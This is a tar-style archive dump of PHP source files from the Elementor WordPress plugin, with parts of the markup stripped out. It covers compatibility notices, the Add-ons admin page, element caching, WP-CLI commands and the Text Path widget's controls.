$this->get_plugins_with_header(); } /** * Append a compatibility message to the update plugin warning. * * @param array $args * * @throws \Exception */ protected function on_plugin_update_message( array $args ) { $new_version = Version::create_from_string( $args['new_version'] ); if ( $new_version->compare( '=', $args['Version'], Version::PART_MAJOR_2 ) ) { return; } $plugins = $this->get_plugins_to_check(); $plugins_compatibility = $this->get_compatibility_tag_service()->check( $new_version, $plugins->keys() ); $plugins = $plugins->filter( function ( $data, $plugin_name ) use ( $plugins_compatibility ) { return Compatibility_Tag::COMPATIBLE !== $plugins_compatibility[ $plugin_name ]; } ); if ( $plugins->is_empty() ) { return; } include __DIR__ . '/views/plugin-update-message-compatibility.php'; } /** * Get all plugins with specific header. * * @return Collection */ private function get_plugins_with_header() { return Plugin::$instance->wp ->get_plugins() ->filter( function ( array $plugin ) { return ! empty( $plugin[ $this->get_plugin_header() ] ); } ); } /** * @return string */ abstract protected function get_plugin_header(); /** * @return string */ abstract protected function get_plugin_label(); /** * @return string */ abstract protected function get_plugin_name(); /** * @return string */ abstract protected function get_plugin_version(); /** * Base_Module constructor. * * @throws \Exception */ public function __construct() { add_filter( 'extra_plugin_headers', function ( array $headers ) { return $this->enable_elementor_headers( $headers, $this->get_plugin_header() ); } ); add_action( 'in_plugin_update_message-' . $this->get_plugin_name(), function ( array $args ) { $this->on_plugin_update_message( $args ); }, 11 /* After the warning message for backup */ ); add_action( 'elementor/system_info/get_allowed_reports', function () { $plugin_short_name = basename( $this->get_plugin_name(), '.php' ); System_Info::add_report( "{$plugin_short_name}_compatibility", [ 'file_name' => __DIR__ . '/compatibility-tag-report.php', 'class_name' => __NAMESPACE__ . '\Compatibility_Tag_Report', 'fields' => [ 'compatibility_tag_service' => $this->get_compatibility_tag_service(), 'plugin_label' => $this->get_plugin_label(), 'plugin_version' => Version::create_from_string( $this->get_plugin_version() ), 'plugins_to_check' => $this->get_plugins_to_check() ->only( get_option( 'active_plugins' ) ) ->keys(), ], ] ); } ); } } modules/apps/module.php000064400000007506147206604650011177 0ustar00register( static::PAGE_ID, new Admin_Menu_Apps() ); }, 115 ); add_action( 'elementor/admin/menu/after_register', function ( Admin_Menu_Manager $admin_menu, array $hooks ) { if ( ! empty( $hooks[ static::PAGE_ID ] ) ) { add_action( "admin_print_scripts-{$hooks[ static::PAGE_ID ]}", [ $this, 'enqueue_assets' ] ); } }, 10, 2 ); add_filter( 'elementor/finder/categories', function( array $categories ) { $categories['site']['items']['apps'] = [ 'title' => esc_html__( 'Add-ons', 'elementor' ), 'url' => admin_url( 'admin.php?page=' . static::PAGE_ID ), 'icon' => 'apps', 'keywords' => [ 'apps', 'addon', 'plugin', 'extension', 'integration' ], ]; return $categories; } ); // Add the Elementor Apps link to the plugin install action links. add_filter( 'install_plugins_tabs', [ $this, 'add_elementor_plugin_install_action_link' ] ); add_action( 'install_plugins_pre_elementor', [ $this, 'maybe_open_elementor_tab' ] ); add_action( 'admin_print_styles-plugin-install.php', [ $this, 'add_plugins_page_styles' ] ); } public function enqueue_assets() { add_filter( 'admin_body_class', [ $this, 'body_status_classes' ] ); wp_enqueue_style( 'elementor-apps', $this->get_css_assets_url( 'modules/apps/admin' ), [], ELEMENTOR_VERSION ); } public function body_status_classes( $admin_body_classes ) { $admin_body_classes .= ' elementor-apps-page'; return $admin_body_classes; } public function add_elementor_plugin_install_action_link( $tabs ) { $tabs['elementor'] = esc_html__( 'For Elementor', 'elementor' ); return $tabs; } public function maybe_open_elementor_tab() { if ( ! isset( $_GET['tab'] ) || 'elementor' !== $_GET['tab'] ) { return; } $elementor_url = add_query_arg( [ 'page' => static::PAGE_ID, 'tab' => 'elementor', 'ref' => 'plugins', ], admin_url( 'admin.php' ) ); wp_safe_redirect( $elementor_url ); exit; } public function add_plugins_page_styles() { ?> ' . esc_html__( 'New! Popular Add-ons', 'elementor' ) . ''; $pointer_content .= '

' . esc_html__( 'Discover our collection of plugins and add-ons carefully selected to enhance your Elementor website and unleash your creativity.', 'elementor' ) . '

'; $pointer_content .= sprintf( '

%s

', admin_url( 'admin.php?page=' . Module::PAGE_ID ), esc_html__( 'Explore Add-ons', 'elementor' ) ) ?> =' ); } } modules/apps/admin-apps-page.php000064400000014354147206604650012654 0ustar00

*

is_plugin_active( $app['file_path'] ) ) { return null; } if ( self::$plugin_status_adapter->is_plugin_installed( $app['file_path'] ) ) { if ( current_user_can( 'activate_plugins' ) ) { $app['action_label'] = esc_html__( 'Activate', 'elementor' ); $app['action_url'] = self::$plugin_status_adapter->get_activate_plugin_url( $app['file_path'] ); } else { $app['action_label'] = esc_html__( 'Cannot Activate', 'elementor' ); $app['action_url'] = '#'; } } else { if ( current_user_can( 'install_plugins' ) ) { $app['action_label'] = esc_html__( 'Install', 'elementor' ); $app['action_url'] = self::$plugin_status_adapter->get_install_plugin_url( $app['file_path'] ); } else { $app['action_label'] = esc_html__( 'Cannot Install', 'elementor' ); $app['action_url'] = '#'; } } return $app; } private static function is_ecom_app( $app ) { return isset( $app['type'] ) && 'ecom' === $app['type']; } private static function filter_ecom_app( $app ) { if ( self::$wordpress_adapter->is_plugin_active( $app['file_path'] ) ) { return null; } if ( ! self::$plugin_status_adapter->is_plugin_installed( $app['file_path'] ) ) { return $app; } if ( current_user_can( 'activate_plugins' ) ) { $app['action_label'] = esc_html__( 'Activate', 'elementor' ); $app['action_url'] = self::$plugin_status_adapter->get_activate_plugin_url( $app['file_path'] ); } else { $app['action_label'] = esc_html__( 'Cannot Activate', 'elementor' ); $app['action_url'] = '#'; } $app['target'] = '_self'; return $app; } private static function get_images_url() { return ELEMENTOR_URL . 'modules/apps/images/'; } private static function is_elementor_pro_installed() { return defined( 'ELEMENTOR_PRO_VERSION' ); } private static function render_plugin_item( $plugin ) { ?>
>
<?php echo esc_attr( $plugin['name'] ); ?>

register_experiments(); $this->register_shortcode(); if ( ! Plugin::$instance->experiments->is_feature_active( 'e_element_cache' ) ) { return; } $this->add_advanced_tab_actions(); if ( is_admin() ) { add_action( 'elementor/admin/after_create_settings/' . Settings::PAGE_ID, [ $this, 'register_admin_fields' ], 100 ); } $this->clear_cache_on_site_changed(); } private function register_experiments() { Plugin::$instance->experiments->add_feature( [ 'name' => 'e_element_cache', 'title' => esc_html__( 'Element Caching', 'elementor' ), 'tag' => esc_html__( 'Performance', 'elementor' ), 'description' => esc_html__( 'Elements caching reduces loading times by serving up a copy of an element instead of rendering it fresh every time the page is loaded. When active, Elementor will determine which elements can benefit from static loading - but you can override this.', 'elementor' ), 'release_status' => ExperimentsManager::RELEASE_STATUS_BETA, 'default' => ExperimentsManager::STATE_INACTIVE, 'new_site' => [ 'default_active' => true, 'minimum_installation_version' => '3.23.0', ], 'generator_tag' => true, ] ); } private function register_shortcode() { add_shortcode( 'elementor-element', function ( $atts ) { if ( empty( $atts['data'] ) ) { return ''; } $widget_data = json_decode( base64_decode( $atts['data'] ), true ); if ( empty( $widget_data ) || ! is_array( $widget_data ) ) { return ''; } ob_start(); $element = Plugin::$instance->elements_manager->create_element_instance( $widget_data ); if ( $element ) { $element->print_element(); } return ob_get_clean(); } ); } private function add_advanced_tab_actions() { $hooks = array( 'elementor/element/common/_section_style/after_section_end' => '_css_classes', // Widgets ); foreach ( $hooks as $hook => $injection_position ) { add_action( $hook, function( $element, $args ) use ( $injection_position ) { $this->add_control_to_advanced_tab( $element, $args, $injection_position ); }, 10, 2 ); } } private function add_control_to_advanced_tab( Element_Base $element, $args, $injection_position ) { $element->start_injection( [ 'of' => $injection_position, ] ); $control_data = [ 'label' => esc_html__( 'Cache Settings', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'yes' => esc_html__( 'Inactive', 'elementor' ), 'no' => esc_html__( 'Active', 'elementor' ), ], ]; $element->add_control( '_element_cache', $control_data ); $element->end_injection(); } public function register_admin_fields( Settings $settings ) { $settings->add_field( Settings::TAB_PERFORMANCE, Settings::TAB_PERFORMANCE, 'element_cache_ttl', [ 'label' => esc_html__( 'Element Cache Expiration', 'elementor' ), 'field_args' => [ 'class' => 'elementor-element-cache-ttl', 'type' => 'select', 'std' => '24', 'options' => [ '1' => esc_html__( '1 Hour', 'elementor' ), '6' => esc_html__( '6 Hours', 'elementor' ), '12' => esc_html__( '12 Hours', 'elementor' ), '24' => esc_html__( '1 Day', 'elementor' ), '72' => esc_html__( '3 Days', 'elementor' ), '168' => esc_html__( '1 Week', 'elementor' ), '336' => esc_html__( '2 Weeks', 'elementor' ), '720' => esc_html__( '1 Month', 'elementor' ), '8760' => esc_html__( '1 Year', 'elementor' ), ], 'desc' => esc_html__( 'Specify the duration for which data is stored in the cache. Elements caching speeds up loading by serving pre-rendered copies of elements, rather than rendering them fresh each time. This control ensures efficient performance and up-to-date content.', 'elementor' ), ], ] ); } private function clear_cache_on_site_changed() { add_action( 'activated_plugin', [ $this, 'clear_cache' ] ); add_action( 'deactivated_plugin', [ $this, 'clear_cache' ] ); add_action( 'switch_theme', [ $this, 'clear_cache' ] ); add_action( 'upgrader_process_complete', [ $this, 'clear_cache' ] ); } public function clear_cache() { Plugin::$instance->files_manager->clear_cache(); } } modules/wp-cli/module.php000064400000002451147206604650011421 0ustar00register_logger( 'cli', 'Elementor\Modules\WpCli\Cli_Logger' ); $logger->set_default_logger( 'cli' ); } public function init_common() { Plugin::$instance->init_common(); } /** * * @since 2.1.0 * @access public */ public function __construct() { add_action( 'cli_init', [ $this, 'init_common' ] ); add_action( 'elementor/loggers/register', [ $this, 'register_cli_logger' ] ); \WP_CLI::add_command( 'elementor', '\Elementor\Modules\WpCli\Command' ); \WP_CLI::add_command( 'elementor update', '\Elementor\Modules\WpCli\Update' ); \WP_CLI::add_command( 'elementor library', '\Elementor\Modules\WpCli\Library' ); } } modules/wp-cli/command.php000064400000010116147206604650011547 0ustar00 'ids', 'number' => 0, ] ); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); Plugin::$instance->files_manager->clear_cache(); \WP_CLI::success( 'Flushed the Elementor CSS Cache for site - ' . get_option( 'home' ) ); restore_current_blog(); } } else { Plugin::$instance->files_manager->clear_cache(); \WP_CLI::success( 'Flushed the Elementor CSS Cache' ); } } /** * Print system info powered by Elementor * * ## EXAMPLES * * 1. wp elementor system-info * - This will print the System Info in JSON format * * @since 3.0.11 * @access public * @alias system-info */ public function system_info() { echo wp_json_encode( \Elementor\Tracker::get_tracking_data() ); } /** * Replace old URLs with new URLs in all Elementor pages. * * [--force] * Suppress error messages. instead, return "0 database rows affected.". * * ## EXAMPLES * * 1. wp elementor replace-urls * - This will replace all URLs with the URL. * * 2. wp elementor replace-urls --force * - This will replace all URLs with the URL without throw errors. * * @access public * @alias replace-urls */ public function replace_urls( $args, $assoc_args ) { if ( empty( $args[0] ) ) { \WP_CLI::error( 'Please set the `old` URL' ); } if ( empty( $args[1] ) ) { \WP_CLI::error( 'Please set the `new` URL' ); } try { $results = Utils::replace_urls( $args[0], $args[1] ); \WP_CLI::success( $results ); } catch ( \Exception $e ) { if ( isset( $assoc_args['force'] ) ) { \WP_CLI::success( '0 database rows affected.' ); } else { \WP_CLI::error( $e->getMessage() ); } } } /** * Sync Elementor Library. * * ## EXAMPLES * * 1. wp elementor sync-library * - This will sync the library with Elementor cloud library. * * @since 2.1.0 * @access public * @alias sync-library */ public function sync_library( $args, $assoc_args ) { // TODO: // \WP_CLI::warning( 'command is deprecated since 2.8.0 Please use: wp elementor library sync' ); $data = Api::get_library_data( true ); if ( empty( $data ) ) { \WP_CLI::error( 'Cannot sync library.' ); } \WP_CLI::success( 'Library has been synced.' ); } /** * Import template files to the Library. * * ## EXAMPLES * * 1. wp elementor import-library * - This will import a file or a zip of multiple files to the library. * * @since 2.1.0 * @access public * @alias import-library */ public function import_library( $args, $assoc_args ) { // TODO: // \WP_CLI::warning( 'command is deprecated since 2.8.0 Please use: wp elementor library import' ); if ( empty( $args[0] ) ) { \WP_CLI::error( 'Please set file path.' ); } /** @var Source_Local $source */ $source = Plugin::$instance->templates_manager->get_source( 'local' ); $imported_items = $source->import_template( basename( $args[0] ), $args[0] ); if ( is_wp_error( $imported_items ) ) { \WP_CLI::error( $imported_items->get_error_message() ); } \WP_CLI::success( count( $imported_items ) . ' item(s) has been imported.' ); } } modules/wp-cli/library.php000064400000015473147206604650011610 0ustar00 'ids', 'number' => 0, ] ); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); \WP_CLI::line( 'Site #' . $blog_id . ' - ' . get_option( 'blogname' ) ); $this->do_sync( isset( $assoc_args['force'] ) ); \WP_CLI::success( 'Done! - ' . get_option( 'home' ) ); restore_current_blog(); } } else { $this->do_sync( isset( $assoc_args['force'] ) ); \WP_CLI::success( 'Done!' ); } } /** * Import template files to the Library. * * [--returnType] * Forms of output. Possible values are 'ids', 'info'. * if this parameter won't be specified, the import info will be output. * * ## EXAMPLES * * 1. wp elementor library import * - This will import a file or a zip of multiple files to the library. * - file-path can be a path or url. * * 2. wp elementor library import --returnType=info,ids * * @param $args * @param $assoc_args * * @since 2.8.0 * @access public */ public function import( $args, $assoc_args ) { if ( empty( $args[0] ) ) { \WP_CLI::error( 'Please set file path.' ); } $file = $args[0]; $imported_items_ids = []; $return_type = \WP_CLI\Utils\get_flag_value( $assoc_args, 'returnType', 'info' ); /** @var Source_Local $source */ $source = Plugin::$instance->templates_manager->get_source( 'local' ); if ( filter_var( $file, FILTER_VALIDATE_URL ) ) { $tmp_path = download_url( $file ); if ( is_wp_error( $tmp_path ) ) { \WP_CLI::error( $tmp_path->get_error_message() ); } $file = $tmp_path; } $imported_items = $source->import_template( basename( $file ), $file ); if ( is_wp_error( $imported_items ) ) { \WP_CLI::error( $imported_items->get_error_message() ); } foreach ( $imported_items as $item ) { $imported_items_ids[] = $item['template_id']; } $imported_items_ids = implode( ',', $imported_items_ids ); if ( 'ids' === $return_type ) { \WP_CLI::line( $imported_items_ids ); } else { \WP_CLI::success( count( $imported_items ) . ' item(s) has been imported.' ); } if ( isset( $tmp_path ) ) { // Remove the temporary file, now that we're done with it. Plugin::$instance->uploads_manager->remove_file_or_dir( $file ); } } /** * Import all template files from a directory. * * ## EXAMPLES * * 1. wp elementor library import-dir * - This will import all JSON files from * * @param $args * * @since 3.4.7 * @access public * @alias import-dir */ public function import_dir( $args ) { if ( empty( $args[0] ) ) { \WP_CLI::error( 'Please set dir path.' ); } $dir = $args[0]; if ( ! file_exists( $dir ) ) { \WP_CLI::error( "Dir `{$dir}` not found." ); } $files = glob( $dir . '/*.json' ); if ( empty( $files ) ) { \WP_CLI::error( 'Files not found.' ); } /** @var Source_Local $source */ $source = Plugin::$instance->templates_manager->get_source( 'local' ); $succeed = []; $errors = []; foreach ( $files as $file ) { $basename = basename( $file ); if ( ! file_exists( $file ) ) { $errors[ $basename ] = $file . ' file not found.'; continue; } $imported_items = $source->import_template( $basename, $file ); if ( is_wp_error( $imported_items ) ) { $errors[ $basename ] = $imported_items->get_error_message(); } else { $succeed[ $basename ] = true; } } $succeed_message = count( $succeed ) . ' item(s) has been imported.'; if ( ! empty( $errors ) ) { $error_message = var_export( $errors, 1 ); if ( ! empty( $succeed ) ) { $error_message = $succeed_message . ' ' . count( $errors ) . ' has errors: ' . $error_message; } \WP_CLI::error( $error_message ); } \WP_CLI::success( $succeed_message ); } /** * Connect site to Elementor Library. * (Network is not supported) * * --user * The user to connect * * --token * A connect token from Elementor Account Dashboard. * * ## EXAMPLES * * 1. wp elementor library connect --user=admin --token= * - This will connect the admin to Elementor library. * * @param $args * @param $assoc_args * * @since 2.8.0 * @access public */ public function connect( $args, $assoc_args ) { if ( ! get_current_user_id() ) { \WP_CLI::error( 'Please set user to connect (--user=).' ); } if ( empty( $assoc_args['token'] ) ) { \WP_CLI::error( 'Please set connect token.' ); } $_REQUEST['mode'] = 'cli'; $_REQUEST['token'] = $assoc_args['token']; $app = $this->get_library_app(); $app->set_auth_mode( 'cli' ); $app->action_authorize(); $app->action_get_token(); } /** * Disconnect site from Elementor Library. * * --user * The user to disconnect * * ## EXAMPLES * * 1. wp elementor library disconnect --user=admin * - This will disconnect the admin from Elementor library. * * @param $args * @param $assoc_args * * @since 2.8.0 * @access public */ public function disconnect() { if ( ! get_current_user_id() ) { \WP_CLI::error( 'Please set user to connect (--user=).' ); } $_REQUEST['mode'] = 'cli'; $this->get_library_app()->action_disconnect(); } private function do_sync() { $data = Api::get_library_data( true ); if ( empty( $data ) ) { \WP_CLI::error( 'Cannot sync library.' ); } } /** * @return \Elementor\Core\Common\Modules\Connect\Apps\Library */ private function get_library_app() { $connect = Plugin::$instance->common->get_component( 'connect' ); $app = $connect->get_app( 'library' ); // Before init. if ( ! $app ) { $connect->init(); $app = $connect->get_app( 'library' ); } return $app; } } modules/wp-cli/cli-logger.php000064400000001154147206604650012157 0ustar00format( 'raw' ); switch ( $item->type ) { case self::LEVEL_WARNING: \WP_CLI::warning( $message ); break; case self::LEVEL_ERROR: \WP_CLI::error( $message, false ); break; default: \WP_CLI::log( $message ); break; } parent::save_log( $item ); } } modules/wp-cli/update.php000064400000005054147206604650011420 0ustar00 'ids', 'number' => 0, ] ); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); \WP_CLI::line( 'Site #' . $blog_id . ' - ' . get_option( 'blogname' ) ); $this->do_db_upgrade( $assoc_args ); \WP_CLI::success( 'Done! - ' . get_option( 'home' ) ); restore_current_blog(); } } else { $this->do_db_upgrade( $assoc_args ); } } protected function get_update_db_manager_class() { return '\Elementor\Core\Upgrade\Manager'; } protected function do_db_upgrade( $assoc_args ) { $manager_class = $this->get_update_db_manager_class(); /** @var \Elementor\Core\Upgrade\Manager $manager */ $manager = new $manager_class(); $updater = $manager->get_task_runner(); if ( $updater->is_process_locked() && empty( $assoc_args['force'] ) ) { \WP_CLI::warning( 'Oops! Process is already running. Use --force to force run.' ); return; } if ( ! $manager->should_upgrade() ) { \WP_CLI::success( 'The DB is already updated!' ); return; } $callbacks = $manager->get_upgrade_callbacks(); $did_tasks = false; if ( ! empty( $callbacks ) ) { Plugin::$instance->logger->get_logger()->info( 'Update DB has been started', [ 'meta' => [ 'plugin' => $manager->get_plugin_label(), 'from' => $manager->get_current_version(), 'to' => $manager->get_new_version(), ], ] ); $updater->handle_immediately( $callbacks ); $did_tasks = true; } $manager->on_runner_complete( $did_tasks ); \WP_CLI::success( count( $callbacks ) . ' updates(s) has been applied.' ); } } modules/shapes/module.php000064400000003554147206604650011516 0ustar00get_css_assets_url( 'widget-shapes', null, true, true ), [ 'elementor-frontend' ], ELEMENTOR_VERSION ); } /** * Return a translated user-friendly list of the available SVG shapes. * * @param bool $add_custom Determine if the output should include the `Custom` option. * * @return array List of paths. */ public static function get_paths( $add_custom = true ) { $paths = [ 'wave' => esc_html__( 'Wave', 'elementor' ), 'arc' => esc_html__( 'Arc', 'elementor' ), 'circle' => esc_html__( 'Circle', 'elementor' ), 'line' => esc_html__( 'Line', 'elementor' ), 'oval' => esc_html__( 'Oval', 'elementor' ), 'spiral' => esc_html__( 'Spiral', 'elementor' ), ]; if ( $add_custom ) { $paths['custom'] = esc_html__( 'Custom', 'elementor' ); } return $paths; } /** * Get an SVG Path URL from the pre-defined ones. * * @param string $path - Path name. * * @return string */ public static function get_path_url( $path ) { return ELEMENTOR_ASSETS_URL . 'svg-paths/' . $path . '.svg'; } /** * Get the module's associated widgets. * * @return string[] */ protected function get_widgets() { return [ 'TextPath', ]; } /** * Retrieve the module name. * * @return string */ public function get_name() { return 'shapes'; } } modules/shapes/widgets/text-path.php000064400000035124147206604650013613 0ustar00start_controls_section( 'section_content_text_path', [ 'label' => esc_html__( 'Text Path', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'label_block' => true, 'default' => esc_html__( 'Add Your Curvy Text Here', 'elementor' ), 'frontend_available' => true, 'render_type' => 'none', 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'path', [ 'label' => esc_html__( 'Path Type', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => Shapes_Module::get_paths(), 'default' => 'wave', ] ); $this->add_control( 'custom_path', [ 'label' => esc_html__( 'SVG', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'media_types' => [ 'svg', ], 'condition' => [ 'path' => 'custom', ], 'dynamic' => [ 'active' => true, ], 'description' => sprintf( '%1$s %2$s', esc_html__( 'Want to create custom text paths with SVG?', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'label_block' => true, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Paste URL or type', 'elementor' ), 'frontend_available' => true, ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => '', 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'selectors' => [ '{{WRAPPER}}' => '--alignment: {{VALUE}}', ], 'frontend_available' => true, ] ); $this->add_control( 'text_path_direction', [ 'label' => esc_html__( 'Text Direction', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'rtl' => esc_html__( 'RTL', 'elementor' ), 'ltr' => esc_html__( 'LTR', 'elementor' ), ], 'selectors' => [ '{{WRAPPER}}' => '--direction: {{VALUE}}', ], 'frontend_available' => true, ] ); $this->add_control( 'show_path', [ 'label' => esc_html__( 'Show Path', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'On', 'elementor' ), 'label_off' => esc_html__( 'Off', 'elementor' ), 'return_value' => self::DEFAULT_PATH_FILL, 'separator' => 'before', 'default' => '', 'selectors' => [ '{{WRAPPER}}' => '--path-stroke: {{VALUE}}; --path-fill: transparent;', ], ] ); $this->end_controls_section(); } /** * Register style controls under style tab. */ protected function register_style_tab() { /** * Text Path styling section. */ $this->start_controls_section( 'section_style_text_path', [ 'label' => esc_html__( 'Text Path', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ '%' => [ 'min' => 0, 'max' => 100, 'step' => 10, ], 'px' => [ 'max' => 800, 'step' => 50, ], ], 'default' => [ 'size' => 500, ], 'tablet_default' => [ 'size' => 500, ], 'mobile_default' => [ 'size' => 500, ], 'selectors' => [ '{{WRAPPER}}' => '--width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'rotation', [ 'label' => esc_html__( 'Rotate', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'deg', 'grad', 'rad', 'turn', 'custom' ], 'default' => [ 'unit' => 'deg', ], 'tablet_default' => [ 'unit' => 'deg', ], 'mobile_default' => [ 'unit' => 'deg', ], 'selectors' => [ '{{WRAPPER}}' => '--rotate: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'text_heading', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::HEADING, ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'text_typography', 'selector' => '{{WRAPPER}}', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], 'fields_options' => [ 'font_size' => [ 'default' => [ 'size' => '20', 'unit' => 'px', ], 'size_units' => [ 'px' ], ], // Text decoration isn't an inherited property, so it's required to explicitly // target the specific `textPath` element. 'text_decoration' => [ 'selectors' => [ '{{WRAPPER}} textPath' => 'text-decoration: {{VALUE}};', ], ], ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'text_stroke', 'selector' => '{{WRAPPER}} textPath', ] ); $this->add_responsive_control( 'word_spacing', [ 'label' => esc_html__( 'Word Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'min' => -20, 'max' => 20, ], 'em' => [ 'min' => -1, 'max' => 1, ], 'rem' => [ 'min' => -1, 'max' => 1, ], ], 'default' => [ 'size' => '', ], 'tablet_default' => [ 'size' => '', ], 'mobile_default' => [ 'size' => '', ], 'selectors' => [ '{{WRAPPER}}' => '--word-spacing: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'start_point', [ 'label' => esc_html__( 'Starting Point', 'elementor' ) . ' (%)', 'type' => Controls_Manager::SLIDER, 'size_units' => [ '%' ], 'range' => [ 'px' => [ 'min' => -100, 'max' => 100, 'step' => 1, ], ], 'default' => [ 'unit' => '%', 'size' => 0, ], 'frontend_available' => true, 'render_type' => 'none', ] ); $this->start_controls_tabs( 'text_style' ); /** * Normal tab. */ $this->start_controls_tab( 'text_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'text_color_normal', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}' => '--text-color: {{VALUE}};', ], ] ); $this->end_controls_tab(); /** * Hover tab. */ $this->start_controls_tab( 'text_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'text_color_hover', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}' => '--text-color-hover: {{VALUE}};', ], ] ); $this->add_control( 'hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, ] ); $this->add_control( 'hover_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 's', 'ms', 'custom' ], 'default' => [ 'unit' => 's', 'size' => 0.3, ], 'selectors' => [ '{{WRAPPER}}' => '--transition: {{SIZE}}{{UNIT}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); /** * Path styling section. */ $this->start_controls_section( 'section_style_path', [ 'label' => esc_html__( 'Path', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'show_path!' => '', ], ] ); $this->start_controls_tabs( 'path_style' ); /** * Normal tab. */ $this->start_controls_tab( 'path_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'path_fill_normal', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}' => '--path-fill: {{VALUE}};', ], ] ); $this->add_control( 'stroke_heading_normal', [ 'label' => esc_html__( 'Stroke', 'elementor' ), 'type' => Controls_Manager::HEADING, ] ); $this->add_control( 'stroke_color_normal', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => self::DEFAULT_PATH_FILL, 'selectors' => [ '{{WRAPPER}}' => '--stroke-color: {{VALUE}};', ], ] ); $this->add_control( 'stroke_width_normal', [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => 1, ], 'range' => [ 'px' => [ 'min' => 1, 'max' => 20, ], 'em' => [ 'max' => 2, ], 'rem' => [ 'max' => 2, ], ], 'selectors' => [ '{{WRAPPER}}' => '--stroke-width: {{SIZE}}{{UNIT}}', ], ] ); $this->end_controls_tab(); /** * Hover tab. */ $this->start_controls_tab( 'path_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'path_fill_hover', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}' => '--path-fill-hover: {{VALUE}};', ], ] ); $this->add_control( 'stroke_heading_hover', [ 'label' => esc_html__( 'Stroke', 'elementor' ), 'type' => Controls_Manager::HEADING, ] ); $this->add_control( 'stroke_color_hover', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}' => '--stroke-color-hover: {{VALUE}};', ], ] ); $this->add_control( 'stroke_width_hover', [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => '', ], 'range' => [ 'px' => [ 'min' => 1, 'max' => 20, ], 'em' => [ 'max' => 2, ], 'rem' => [ 'max' => 2, ], ], 'selectors' => [ '{{WRAPPER}}' => '--stroke-width-hover: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'stroke_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 's', 'ms', 'custom' ], 'default' => [ 'unit' => 's', 'size' => 0.3, ], 'selectors' => [ '{{WRAPPER}}' => '--stroke-transition: {{SIZE}}{{UNIT}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } /** * Register Text Path widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @access protected */ protected function register_controls() { $this->register_content_tab(); $this->register_style_tab(); } /** * Render Text Path widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @access protected */ protected function 